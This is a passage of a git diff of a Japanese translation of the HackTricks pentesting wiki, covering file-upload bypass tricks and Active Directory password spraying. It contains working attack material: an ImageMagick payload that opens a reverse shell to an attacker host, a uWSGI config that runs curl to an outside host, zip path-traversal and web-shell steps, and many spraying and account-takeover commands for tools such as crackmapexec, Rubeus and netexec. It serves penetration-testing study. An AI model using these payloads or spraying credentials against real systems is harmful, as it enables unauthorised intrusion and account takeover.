により圧縮後も残るデータを挿入できる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- PHP-GD の `thumbnailImage` 関数などでリサイズされる場合でも生き残るペイロードを作る別の手法として、**tEXt chunk** を使った [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) が有効です。 +- PHP-GD の `thumbnailImage` を使ったリサイズでも生き残るペイロードを作る別の手法がある。**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮後も残るテキストを挿入できる。 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### その他のチェックポイント +### Other Tricks to check -- アップロード済みファイルの名前を変更できる脆弱性を見つける(拡張子を変更するため)。 -- Local File Inclusion の脆弱性を見つけてバックドアを実行する。 -- **情報漏洩の可能性**: -1. 同じファイルを複数回(かつ同時に)アップロードする -2. 既に存在するファイルやフォルダと同じ名前のファイルをアップロードする -3. ファイル名を "."、".."、あるいは "..." のようにしてアップロードする。例えば、Apache on Windows でアプリケーションが "/www/uploads/" にアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある。 -4. NTFS で削除しにくい名前(例: "…:.jpg")を付けてアップロードする(Windows) -5. ファイル名に `|<>*?”` のような無効文字を含むファイルを Windows にアップロードする(Windows) -6. CON, PRN, AUX, NUL, COM1...などの予約済み(禁止)名を使って Windows にファイルをアップロードする -- 実行ファイル(.exe)や、開いたときにコードが実行される可能性のある .html(あまり疑われない)をアップロードすることも検討する。 +- アップロード済みファイルを **rename** できる脆弱性を見つける(拡張子を変更するため)。 +- Local File Inclusion 脆弱性を見つけてバックドアを実行する。 +- **可能な情報漏洩**: +1. 同じ名前のファイルを **複数回**(かつ同時に)アップロードする。 +2. 既に存在する **ファイル** または **フォルダ** と同名のファイルをアップロードする。 +3. 名前が ".”, "..”, または "…” のファイルをアップロードする。例えば Windows 上の Apache では、アプリケーションがアップロードファイルを "/www/uploads/" に保存すると、"." というファイル名は "/www/" に "uploads" というファイルを作成することがある。 +4. NTFS のように削除が難しいファイル名(例: "…:.jpg")をアップロードする。(Windows) +5. Windows で `|<>*?”` のような無効文字を名前に含むファイルをアップロードする。(Windows) +6. CON, PRN, AUX, NUL, COM1 ... LPT9 のような予約済み(禁止)名を使って Windows にファイルをアップロードする。 +- 実行可能ファイル(.exe)や開かれたときにコードを実行する .html(あまり怪しまれない)をアップロードすることも試す。 -### 特殊な拡張子のトリック +### Special extension tricks -If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +PHP サーバーにアップロードする場合は、[.htaccess を使ってコードを実行するトリック](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) を参照すること。\ +ASP サーバーにアップロードする場合は、[.config を使ってコードを実行するトリック](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) を参照すること。 -`.phar` ファイルは Java の `.jar` に似ていますが PHP 用で、php として実行したりスクリプト内で include したりすることができます。 +`.phar` ファイルは java の `.jar` に似ているが php 向けで、php で実行したりスクリプト内で include することで **php ファイルのように利用**できる。 -`.inc` 拡張子はインクルード用の php ファイルとして使われることがあり、その結果、この拡張子が実行可能として扱われていることがあるため注意が必要です。 +`.inc` 拡張子はインポート用の php ファイルに使われることがあり、結果としてこの拡張子が実行可能になっている場合がある。 ## **Jetty RCE** -If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** As mentioned in the image below, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! +Jetty サーバーに XML ファイルをアップロードできる場合、[新しい \*.xml と \*.war が自動的に処理されるため RCE を得られる](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** つまり、以下の画像に示されているように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが得られる可能性がある。 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +この脆弱性の詳細な調査については、オリジナルの調査を参照すること: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 -Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる場合に uWSGI サーバで悪用され得ます。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を取り扱う特定の構文を利用します。特に '@' 演算子(`@(filename)` の形で使用)はファイルの内容を含めるために設計されています。uWSGI がサポートする各種スキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを許します。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用に使われ得ます。 +Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる権限がある場合に uWSGI サーバーで悪用され得る。uWSGI の設定ファイルは特定の構文を用いて "magic" な変数、プレースホルダ、演算子を組み込める。特に `@(filename)` として使われる '@' 演算子はファイルの内容を include するためのものとして設計されている。uWSGI がサポートするスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用につながる可能性がある。 -以下は、さまざまなスキームを示した悪意ある `uwsgi.ini` ファイルの例です: +以下は有害な `uwsgi.ini` ファイルの例で、様々なスキームを示している: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -ペイロードの実行は、設定ファイルのパース時に発生します。設定が有効化されパースされるためには、uWSGI プロセスを再起動する(クラッシュ後や Denial of Service attack による可能性がある)か、ファイルを auto-reload に設定しておく必要があります。auto-reload 機能が有効な場合、変更を検知すると指定された間隔でファイルをリロードします。 +ペイロードの実行は設定ファイルの解析時に発生します。設定が有効化され解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やDenial of Service attackのために再起動される場合を含みます)、またはファイルをauto-reloadに設定しておく必要があります。auto-reload機能が有効になっている場合、変更を検出すると指定した間隔でファイルを再読み込みします。 -uWSGI の設定ファイルのパースが緩いことを理解することが重要です。具体的には、ここで扱っているペイロードはバイナリファイル(画像や PDF など)に挿入することができ、潜在的な悪用の範囲をさらに拡大します。 +uWSGIの設定ファイルの解析が緩い点を理解することが重要です。具体的には、ここで述べたペイロードはバイナリファイル(画像やPDFなど)に埋め込むことが可能であり、悪用の範囲がさらに広がります。 ## **wget File Upload/SSRF Trick** -場合によっては、サーバが **`wget`** を使って **ファイルをダウンロード** し、**URL** を **指定** できることがあります。こうしたケースでは、ダウンロードされるファイルの拡張子がホワイトリストに含まれているかをコード側でチェックし、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックはバイパス可能です。**\ -**linux** における **ファイル名** の **最大** 長は **255** ですが、**wget** はファイル名を **236** 文字に切り詰めます。ファイル名を **"A"\*232+".php"+".gif"** としてダウンロードすると、このファイル名は(この例では **".gif"** が有効な拡張子であるため)チェックを**バイパス**しますが、`wget` はファイル名を **"A"\*232+".php"** に**リネーム**します。 +場合によっては、サーバが**`wget`**で**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。その場合、コードがダウンロードしたファイルの拡張子がwhitelistに含まれているかを検査し、許可されたファイルのみがダウンロードされることを保証していることがあります。**ただし、このチェックはバイパス可能です。** + +linuxにおけるファイル名の最大長は255ですが、**wget**はファイル名を236文字に切り詰めます。例えば、**"A"\*232+".php"+".gif"** というファイル名でダウンロードさせることができ、このファイル名は**チェックをバイパス**します(この例では **".gif"** が**有効な**拡張子です)が、`wget` はファイル名を **"A"\*232+".php"** に**rename**します。 ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -158,13 +159,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ``` Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## ツール +## Tools -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters や Bug Hunters がファイルアップロード機構のテストを行うのを支援するために設計された強力なツールです。さまざまな bug bounty techniques を活用して脆弱性の特定と悪用を簡素化し、web アプリケーションの徹底的な評価を支援します。 +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. ### Corrupting upload indices with snprintf quirks (historical) -一部のレガシーなアップロードハンドラは `snprintf()` 等を使って単一ファイルのアップロードからマルチファイル配列を構築していますが、これらは `_FILES` 構造を偽造されるように騙されることがあります。`snprintf()` の挙動における不整合や切り捨てのため、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えることがあり、厳密な形状を前提としたロジック(例: multi-file upload とみなして安全でない分岐を取る)を混乱させます。今日ではニッチですが、この “index corruption” パターンは時折 CTFs や古いコードベースで再現されます。 +Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. ## From File upload to other vulnerabilities @@ -181,8 +182,8 @@ Note that **another option** you may be thinking of to bypass this check is to m - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) - Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. -- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **アンチウイルス** -- Check if there is any **サイズ制限** uploading files +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Check if there is any **size limit** uploading files Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -223,20 +224,20 @@ ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### 異なるフォルダに解凍 +### 異なるフォルダに解凍する -アーカイブの解凍時にディレクトリ内でファイルが予期せず作成されることは重大な問題です。当初、この構成は悪意のあるファイルのアップロードによる OS-level command execution を防ぐと思われるかもしれませんが、ZIP の hierarchical compression support と directory traversal 機能は悪用可能です。これにより攻撃者は制限を回避し、対象アプリケーションの decompression 機能を操作して secure upload directories から脱出できます。 +解凍時にディレクトリ内へ予期せぬファイルが作成される問題は重大です。一見、この構成は悪意あるファイルのアップロードを通じたOSレベルのコマンド実行を防げるように見えますが、ZIPアーカイブ形式が持つ階層的な圧縮サポートとdirectory traversalの能力は悪用可能です。これにより、攻撃者は制限を回避し、対象アプリケーションの解凍機能を操作してsecure upload directoriesから脱出できます。 -そのようなファイルを作成するための自動化された exploit は [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) で入手できます。ユーティリティは次のように使用できます: +このようなファイルを作成する自動エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使い方は次の通りです: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -さらに、**symlink trick with evilarc** はオプションです。もしターゲットが `/flag.txt` のようなファイルであれば、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こすことを防げます。 +さらに、**symlink trick with evilarc** も選択肢です。ターゲットが `/flag.txt` のようなファイルである場合、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようにします。 -以下は、悪意のある zip ファイルを作成するための Python コードの例です: +以下は悪意のある zip ファイルを作成するために使用される Python コードの例です: ```python #!/usr/bin/python import zipfile @@ -254,11 +255,11 @@ zip.close() create_zip() ``` -**圧縮を悪用した file spraying** +**Abusing compression for file spraying** -For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +詳細は**オリジナル投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: このPHPコードは `$_REQUEST` 変数で渡されたコマンドを実行するように書かれている。 +1. **Creating a PHP Shell**: PHPコードは、`$_REQUEST`変数経由で渡されたコマンドを実行するように書かれています。 ```php ``` -2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、それらを含むzipアーカイブを作成する。 +2. **File Spraying and Compressed File Creation**: 複数のファイルを作成し、これらのファイルを含むzipアーカイブを作成します。 ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやhexエディタで変更し、"xxA"を"../"にしてディレクトリを横断する。 +3. **Modification with a Hex Editor or vi**: zip内のファイル名をviやHex Editorで変更し、"xxA"を"../"に置換してディレクトリを横断します。 ```bash :set modifiable @@ -285,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -このコンテンツを画像拡張子でアップロードすることで脆弱性を悪用できます **(ImageMagick , 7.0.1-1)**(exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767)) +この内容を画像拡張子でアップロードすると、脆弱性 **(ImageMagick , 7.0.1-1)** を悪用できます(詳細は [exploit](https://www.exploit-db.com/exploits/39767) を参照)。 ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Embedding PHP Shell on PNG +## PNGにPHP Shellを埋め込む -PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、一部の画像処理を回避できることがあります。PHP-GDの`imagecopyresized`や`imagecopyresampled`といった関数はリサイズやリサンプリングに頻繁に使われるため、本手法ではこれらの処理を受けても埋め込んだPHPシェルが影響を受けない点が重要な利点となります。 +PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理を効果的にバイパスできます。`imagecopyresized`や`imagecopyresampled`といったPHP-GDの関数は、それぞれ画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHP Shellがこれらの処理の影響を受けずに残ることは、特定のユースケースで大きな利点です。 -この手法の詳細な解説(方法論や応用例を含む)は、次の記事で確認できます: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に説明しています。 +この技術の手法や応用可能性を含む詳細な解説は、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglotファイルは複数のファイルフォーマットとして同時に有効であり、カメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、GIFとRARの両方として機能するハイブリッドです。これらはGIF+RARに限らず、GIF+JSやPPT+JSのような組み合わせも可能です。 +Polyglot filesはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式として同時に有効に存在できるカメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。 -polyglotファイルの主な有用性は、ファイルタイプでフィルタリングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは危険なフォーマット(例: JS, PHP, Phar)を避けるためにJPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可する運用が一般的です。しかしpolyglotは複数フォーマットの構造要件を満たすことで、これらの制限を巧妙にすり抜ける可能性があります。 +ポリグロットの主要な有用性は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険な形式(例: JS、PHP、または Phar files)によるリスクを軽減するために、JPEG、GIF、またはDOCのような特定のファイルタイプのみをアップロード可とするのが一般的です。 -とはいえ、polyglotにも制約はあります。例えばPHAR(PHp ARchive)とJPEGの両方を兼ねるpolyglotがあっても、プラットフォームが拡張子で厳格に許可を管理している場合は、構造的な二面性だけではアップロードに成功しないことがあります。 +適応性が高い一方で、polyglotsには制限もあります。例えば、あるpolyglotが同時にPHAR file (PHp ARchive)とJPEGを具備していても、アップロードの可否はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格であれば、polyglotの構造上の二重性だけではアップロードを保証できないかもしれません。 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Upload valid JSONs like if it was PDF +### JSONをPDFのふりをしてアップロードする方法 -許可されていない場合でも、PDFを偽装して有効なJSONファイルをアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)** の手法): +許可されていない場合でも有効なJSONファイルをPDFとして偽装してアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術): -- **`mmmagic` library**: 最初の1024バイト内に`%PDF`のマジックバイトがあれば有効と判断される(投稿から例を参照) -- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを埋め込んでライブラリにPDFと誤認させる(投稿から例を参照) -- **`file` binary**: ファイルから最大1048576バイトを読み取る。これより大きなJSONを作成して中身をJSONとして解析できなくし、その内部に実際のPDFの先頭部分を入れるとPDFと判断される +- **`mmmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効です(例は記事参照) +- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを入れることでライブラリにPDFだと判断させる(例は記事参照) +- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をjsonとして解析できなくさせ、JSONの中に実際のPDFの先頭部を入れれば、それをPDFだと判断します -## References +## 参考 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index 237cd159a..12b95412a 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**こちらの素晴らしい記事をチェック:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**素晴らしい投稿を確認してください:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 3a0e24eda..d289c1d74 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -いくつかの**valid usernames**を見つけたら、発見した各ユーザに対して最も一般的な**common passwords**を試すことができます(環境の**password policy**を考慮してください)。\ +いくつかの**valid usernames**を見つけたら、発見した各ユーザーに対して最も**common passwords**を試してみてください(環境のパスワードポリシーを考慮してください)。\ By **default** the **minimum** **password** **length** is **7**. Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -注意:**複数回間違った passwords を試すといくつかのアカウントが lockout される可能性があります**(デフォルトでは 10 回以上)。 +注意:複数の誤ったパスワードを試すと、アカウントがロックアウトされる**could lockout some accounts if you try several wrong passwords**可能性があります(デフォルトでは10回以上)。 -### password policy を取得する +### パスワードポリシーの取得 -もし user credentials を持っているか、domain user として shell を持っている場合は、**password policy を取得するには**: +ドメインユーザーとしての資格情報やシェルがある場合、以下の方法で**パスワードポリシーを取得できます**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -33,7 +33,7 @@ net accounts ``` ### Linux(またはすべて)からのExploitation -- **crackmapexec:** を使用する +- **crackmapexec:** を使用 ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) @@ -51,16 +51,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) を使用する - 推奨されません。場合によっては動作しないことがあります +- 使用 [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - 推奨されません。時々動作しないことがあります ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- **Metasploit**の`scanner/smb/smb_login`モジュールを使用して: +- **Metasploit** の `scanner/smb/smb_login` モジュールを使用して: ![](<../../images/image (745).png>) -- **rpcclient**を使用して: +- **rpcclient** を使用して: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do @@ -69,7 +69,7 @@ done ``` #### Windowsから -- brute module を含むバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用: +- brute module を備えたバージョンの [Rubeus](https://github.com/Zer1t0/Rubeus) を使用して: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,20 +77,20 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用すると (デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得し、それに応じて試行回数を制限します): +- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) を使用して(デフォルトでドメインからユーザーを生成でき、ドメインからパスワードポリシーを取得してそれに応じて試行回数を制限します): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` -- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) を使用して +- を使用して [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` -### "Password must change at next logon" アカウントを特定して乗っ取る (SAMR) +### 識別して乗っ取る "Password must change at next logon" アカウント (SAMR) -低ノイズな手法として、benign/empty password を spray して STATUS_PASSWORD_MUST_CHANGE を返すアカウントを検出する方法がある。これはパスワードが強制的に期限切れにされており、古いパスワードを知らなくても変更できることを示す。 +低ノイズな手法としては、無害/空のパスワードをsprayして、STATUS_PASSWORD_MUST_CHANGEを返すアカウントを検出することがある。これはパスワードが強制的に失効しており、古いパスワードを知らなくても変更できることを示す。 -ワークフロー: -- ユーザーを列挙する (RID brute via SAMR) を行い、ターゲットリストを作成する: +Workflow: +- ユーザーを列挙して (RID brute via SAMR) ターゲットリストを作成する: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +99,12 @@ Invoke-SprayEmptyPassword # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spray an empty password を試し、hits が出ても続行して、次回 logon 時にパスワード変更が必須のアカウントを捕捉する: +- Spray an empty password を試行し、hits が出ても続行して、next logon 時にパスワード変更が必要なアカウントを捕捉する: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- ヒットごとに、NetExecのモジュールでSAMR経由でパスワードを変更する("must change" が設定されている場合、古いパスワードは不要): +- 各 hit ごとに、NetExec’s module を使って SAMR 経由でパスワードを変更する("must change" が設定されている場合は古いパスワードは不要): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -114,8 +114,8 @@ netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" netexec smb -u -p "$NEWPASS" --pass-pol ``` 運用ノート: -- Kerberosを使用する操作を行う前に、ホストのクロックがDCと同期していることを確認してください: `sudo ntpdate `. -- 一部のモジュール(例: RDP/WinRM)では、(Pwn3d!) を伴わない [+] は、creds は有効だがアカウントに対話型ログオン権限がないことを意味します。 +- Kerberos-based operations を行う前に、ホストの時計をDCと同期させてください: `sudo ntpdate `. +- 一部のモジュール(例:RDP/WinRM)で (Pwn3d!) なしの [+] は、creds が有効だが、アカウントに対話型ログオン権がないことを意味します。 ## Brute Force ```bash @@ -123,15 +123,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying は SMB/NTLM/LDAP の bind 試行に比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP-driven targeting、pattern engine、および policy awareness(domain policy + PSOs + badPwdCount buffer)を組み合わせ、精密かつ安全に spray を行います。また、BloodHound の pathing 用に Neo4j に compromised principals をタグ付けすることもできます。 +Kerberos pre-auth ベースのスプレーは、SMB/NTLM/LDAP バインド試行と比べてノイズを減らし、AD のロックアウトポリシーとより整合します。SpearSpray は LDAP 駆動のターゲティング、パターンエンジン、ポリシー認識(ドメインポリシー + PSOs + badPwdCount バッファ)を組み合わせ、正確かつ安全にスプレーします。また、侵害されたプリンシパルを Neo4j にタグ付けして BloodHound のパス探索に利用できます。 Key ideas: - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. -- Domain lockout policy + PSO-aware filtering を用い、設定可能な試行バッファ(threshold)を残してユーザーのロックを回避します。 -- Kerberos pre-auth validation using fast gssapi bindings(DC 上では 4625 の代わりに 4768/4771 を生成)。 -- 名前などの変数や各ユーザーの pwdLastSet から導出される時刻値を用いた、パターンベースのユーザー毎のパスワード生成。 -- スループット制御(threads、jitter、max requests per second)。 -- Optional Neo4j integration to mark owned users for BloodHound. +- ドメインロックアウトポリシーと PSO 対応フィルタにより、設定可能な試行バッファ(閾値)を残してユーザーのロックを回避。 +- Kerberos pre-auth 検証は高速な gssapi バインディングを使用(DCs では 4625 の代わりに 4768/4771 を生成)。 +- ユーザーごとのパターンベースなパスワード生成で、名前や各ユーザーの pwdLastSet から導出される時間関連値などの変数を使用。 +- スループット制御(スレッド、ジッター、秒あたり最大リクエスト数)。 +- オプションの Neo4j 統合で所有済みユーザーにマークを付け、BloodHound に連携。 Basic usage and discovery: ```bash @@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -ターゲット選定とパターン制御: +ターゲティングとパターン制御: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -ステルスと安全対策: +Stealth と安全対策: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -188,15 +188,15 @@ Operational notes: ## 